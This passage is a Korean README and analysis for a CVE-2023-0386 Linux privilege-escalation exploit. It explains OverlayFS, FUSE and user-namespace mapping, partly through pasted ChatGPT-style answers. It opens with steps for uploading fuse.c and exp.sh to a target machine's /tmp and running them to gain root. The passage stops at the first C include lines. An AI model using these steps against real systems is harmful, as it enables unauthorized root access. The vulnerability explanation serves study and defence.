
매우 간단한 CVE-2023-0386의 exp 및 분석. C와 sh 사용.
Exp 사용법:
첫 번째: fuse.c와 exp.sh를 /tmp 디렉토리에 업로드합니다.
scp 또는 python3 -m http.server를 사용하여 파일을 대상에 업로드할 수 있습니다.
scp ~/Desktop/CVE-2023-0386/exp.sh [email protected]:/tmp
scp ~/Desktop/CVE-2023-0386/fuse.c [email protected]:/tmp #your machine
또는
cd ~/Desktop/CVE-2023-0386
python3 -m http.server #your machine
wget your_ip:8000/exp.sh
wget your_ip:8000/fuse.c #target
그 다음:
cd /tmp
/bin/bash exp.sh
이제 root입니다!

다음은 CVE-2023-0386에 대한 상세 분석입니다.
어제 하루 종일 이 취약점을 분석했습니다. 간단히 말하면, OverlayFS가 하위 레이어의 파일을 상위 레이어로 복사할 때, 하위 레이어 파일의 네임스페이스 사용자가 현재 사용자 네임스페이스에 매핑되었는지 확인하지 않아서, suid를 설정하여 권한 상승이 가능하다는 것입니다.
여기서 매우 추상적으로 들리는데, 이 문제를 이해하려면 먼저 몇 가지를 알아야 합니다:
ChatGPT: Linux의 OverlayFS에 대해 자세히 설명해주세요.
OverlayFS는 Linux 커널의 union 파일 시스템으로, 여러 개의 다른 파일 시스템을 겹쳐서 하나의 통일된 뷰를 형성합니다. Linux 3.18 버전에서 공식적으로 커널에 포함되었습니다.
OverlayFS는 세 가지 주요 구성 요소로 이루어집니다: lower filesystem, upper filesystem, merged filesystem. 각 부분의 역할은 다음과 같습니다.
Lower filesystem (하위 파일 시스템): 기본 레이어로, 일반적으로 읽기 전용입니다. 모든 파일과 디렉토리는 처음에 이 레이어에서 가져옵니다.
Upper filesystem (상위 파일 시스템): 최상위 레이어로, 일반적으로 쓰기 가능합니다. 파일 시스템에 쓰기 작업을 수행하면 모든 변경 사항이 이 레이어에 저장됩니다. 하위 파일 시스템에 파일이 존재하지만 수정하려면 해당 파일의 복사본이 상위 파일 시스템에 생성된 후 수정됩니다. 이 과정을 "copy-up"이라고 합니다.
Merged filesystem (병합 파일 시스템): OverlayFS의 최종 뷰로, 하위 및 상위 파일 시스템을 결합합니다. 읽기 작업을 수행하면 OverlayFS는 먼저 상위 파일 시스템에서 파일을 찾고, 없으면 하위 파일 시스템에서 찾습니다.
이 구조의 논리적 뷰는 다음과 같습니다:
________________
| |
| Merged View |
|________________|
/ \
____________ ____________
| | | |
| Lower | | Upper |
| (read-only)| | (read-write)|
|____________| |____________|
OverlayFS의 중요한 응용 분야는 컨테이너화된 애플리케이션, 특히 Docker에서입니다. Docker에서 각 이미지 레이어는 읽기 전용이며, 다른 컨테이너의 하위 파일 시스템으로 사용될 수 있습니다. 새 컨테이너를 시작하면 Docker는 새롭고 빈 상위 파일 시스템을 만듭니다. 따라서 컨테이너에 대한 모든 변경 사항(예: 새 소프트웨어 설치)은 상위 파일 시스템에만 영향을 미치고 공유 이미지 레이어에는 영향을 미치지 않습니다.
또한 OverlayFS는 여러 개의 하위 파일 시스템을 하나의 상위 아래에 마운트할 수 있도록 하여, Docker의 이미지 레이어에서 널리 사용되는 여러 계층의 파일 시스템을 만들 수 있습니다.
요약하면, 하위 레이어의 파일은 읽기 전용이고, 상위 레이어의 파일은 읽기/쓰기 가능하며, 병합 레이어는 하위와 상위 레이어의 파일을 결합하여 통일된 뷰를 제공합니다. 병합 레이어에서 하위 레이어에 존재하지만 상위 레이어에는 없는 파일을 수정하면, 하위 레이어의 파일이 그대로 상위 레이어로 복사되어 수정됩니다. 이것이 취약점이 트리거되는 지점입니다.
GPT: 당신은 Linux 커널 전문가입니다. 이제 FUSE가 무엇인지 자세히 설명해주세요.
FUSE (Filesystem in Userspace)는 사용자 공간에서 파일 시스템을 생성하는 메커니즘입니다. 이것은 Linux 커널이 제공하는 인터페이스로, 사용자가 커널 코드를 수정하지 않고도 자신의 파일 시스템을 개발하고 실행할 수 있게 해줍니다.
FUSE의 주요 목표는 새로운 파일 시스템의 개발과 사용을 단순화하는 것입니다. FUSE를 사용하면 많은 커널 API의 세부 사항을 알 필요 없이 사용자 정의 파일 시스템을 만들 수 있습니다. 이는 디버깅, 빠른 프로토타입 개발, 학술 연구, 투명 암호화 파일 시스템이나 네트워크 파일 시스템과 같은 특수 파일 시스템 구현에 매우 유용합니다.
FUSE에서 파일 시스템의 대부분의 로직은 사용자 공간에서 실행됩니다. 이는 개발을 더 쉽게 만듭니다. 사용자 공간은 더 친숙한 개발 환경을 제공하기 때문입니다. 원하는 프로그래밍 언어를 사용할 수 있고, 더 많은 라이브러리를 사용할 수 있으며, 오류 처리가 더 간단합니다. 반면, FUSE 파일 시스템은 사용자 공간과 커널 공간 간의 컨텍스트 전환이 자주 발생하기 때문에 일반적으로 커널 공간 파일 시스템보다 느립니다.
FUSE 파일 시스템은 일반적으로 두 부분으로 구성됩니다:
FUSE 파일 시스템을 개발할 때는 파일 열기, 파일 읽기, 파일 쓰기 등 다양한 파일 시스템 작업에 해당하는 콜백 함수 집합을 구현해야 합니다. 이러한 작업이 발생하면 FUSE 커널 모듈이 해당 콜백 함수를 호출하고 결과를 호출자에게 반환합니다.
요약하자면, FUSE는 사용자 공간에서 파일 시스템을 구현하기 위한 강력한 프레임워크를 제공하며, 파일 시스템 개발을 단순화하고 모듈 방식으로 확장 및 수정할 수 있게 해줍니다.
사실 FUSE는 사용자가 자신만의 파일 시스템과 그 안의 파일을 정의할 수 있게 해줍니다.
C 언어로 FUSE 관련 코드를 작성해야 합니다.
당신은 Linux 커널 전문가입니다. 사용자 네임스페이스가 무엇인가요?
Linux에서 "네임스페이스(namespace)"는 프로세스의 뷰를 격리하여 프로세스가 동일한 네임스페이스에 속한 리소스만 볼 수 있게 하는 커널 기능입니다. 각 유형의 네임스페이스는 특정 유형의 리소스에 해당합니다. 예를 들어, PID (Process ID) 네임스페이스는 프로세스 ID를 격리하고, Net 네임스페이스는 네트워크 인터페이스와 네트워크 스택을 격리하며, Mount 네임스페이스는 파일 시스템 마운트 지점을 격리합니다.
사용자 네임스페이스(User Namespace)는 Linux 네임스페이스 중 하나로, 주로 사용자 및 그룹 ID를 격리합니다. 각 사용자 네임스페이스는 자체 사용자 및 그룹 ID 집합을 가집니다. 예를 들어, 사용자 네임스페이스 A에서 프로세스가 root 사용자(UID 0)로 실행될 수 있지만, 사용자 네임스페이스 B에서는 해당 프로세스가 일반 사용자일 수 있습니다.
이렇게 하면 프로세스가 자신의 사용자 네임스페이스 내에서 root 권한을 가지고 있더라도 다른 사용자 네임스페이스의 리소스에 영향을 줄 수 없습니다. 다른 네임스페이스에서는 일반 사용자일 수 있기 때문입니다. 이는 시스템 보안을 크게 향상시켜, 컨테이너(자체 네임스페이스 집합에서 실행되는 프로세스 그룹)가 공격받더라도 공격자가 호스트 시스템이나 다른 컨테이너에 영향을 미칠 수 없게 합니다.
사용자 네임스페이스는 Linux 컨테이너(Docker, LXC 등)의 핵심 기술 중 하나입니다. 사용자 네임스페이스와 다른 유형의 네임스페이스를 사용하면 컨테이너가 가상화 없이도 가상 머신과 유사한 격리성을 제공할 수 있습니다.
요약하자면, 사용자 네임스페이스는 Linux에서 사용자 및 그룹 ID를 격리하는 메커니즘으로, 시스템과 컨테이너의 보안을 향상시키는 중요한 역할을 합니다.
그렇다면 사용자 네임스페이스 매핑(User Namespace Mapping)이란 무엇인가요?
Linux 사용자 네임스페이스에는 중요한 개념인 사용자 네임스페이스 매핑이 있습니다. 이 매핑은 서로 다른 사용자 네임스페이스 간에 사용자 및 그룹 ID를 변환하는 방법을 정의합니다. 즉, 사용자 네임스페이스 내에서 root로 보이는 프로세스가 호스트나 다른 네임스페이스에서는 일반적인 권한 없는 사용자일 수 있습니다.
이 매핑 메커니즘은 /proc/[pid]/uid_map 및 /proc/[pid]/gid_map 파일을 수정하여 설정할 수 있습니다. 여기서 [pid]는 프로세스의 PID입니다. 이 파일에서 각 행은 매핑 항목으로, 네임스페이스 내 ID, 네임스페이스 외부 ID, ID 범위의 세 필드로 구성됩니다. 예를 들어, "0 1000 1"은 네임스페이스 내 ID 0이 네임스페이스 외부 ID 1000에 매핑됨을 의미합니다.
예를 들어, 사용자 네임스페이스 A에서 실행되는 프로세스의 사용자 ID가 0이면 root 사용자처럼 보입니다. 그러나 사용자 네임스페이스 매핑에서 0을 1000에 매핑하면 호스트 네임스페이스 및 다른 사용자 네임스페이스의 경우 이 프로세스의 사용자 ID는 1000, 즉 일반 사용자입니다.
이러한 방식으로 사용자 네임스페이스 매핑은 프로세스가 속한 사용자 네임스페이스 내에서는 완전한 권한(예: root 사용자)을 가지면서도 다른 네임스페이스에서는 일반 사용자로 남을 수 있는 방법을 제공하며, 이는 격리와 보안에 중요합니다.
하위 파일 시스템의 파일은 사용자가 높은 수준으로 제어할 수 있기 때문입니다(FUSE 생성). 예를 들어 suid 파일을 사용자 정의할 수 있습니다. (그러나 안전을 위해 FUSE에는 몇 가지 기본 제한이 있습니다. 그중 하나는 기본적으로 마운트된 파일 시스템이 nosuid라는 것입니다. 즉, FUSE 파일 시스템의 setuid 및 setgid 비트는 무시됩니다. FUSE에 의해 무시되지만 suid 비트는 여전히 존재합니다.) 그러나 nosuid 시스템의 suid 파일을 OverlayFS의 특성을 통해 하위 레이어에서 상위 레이어로 복사할 수 있습니다. 여기서 상위 레이어는 정상적인 파일 시스템이므로, 비정상적인 suid 파일이 실제 suid 권한을 얻어 권한 상승에 도달할 수 있습니다.
준비 작업: 여러 폴더를 생성하여 OverlayFS를 구성해야 합니다.
cd /tmp
mkdir fuse upper overlay workdir
fuse는 사용자 정의 파일 시스템이 있는 폴더이며, OverlayFS의 하위 레이어로 사용됩니다.upper는 OverlayFS의 상위 레이어로 사용됩니다.overlay는 OverlayFS의 병합 레이어로 사용됩니다.workdir은 OverlayFS의 작업 디렉토리입니다.아래 FUSE 코드는 chenaotian 님의 코드를 기반으로 수정했습니다. https://github.com/chenaotian/CVE-2023-0386
#define FUSE_USE_VERSION 30
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>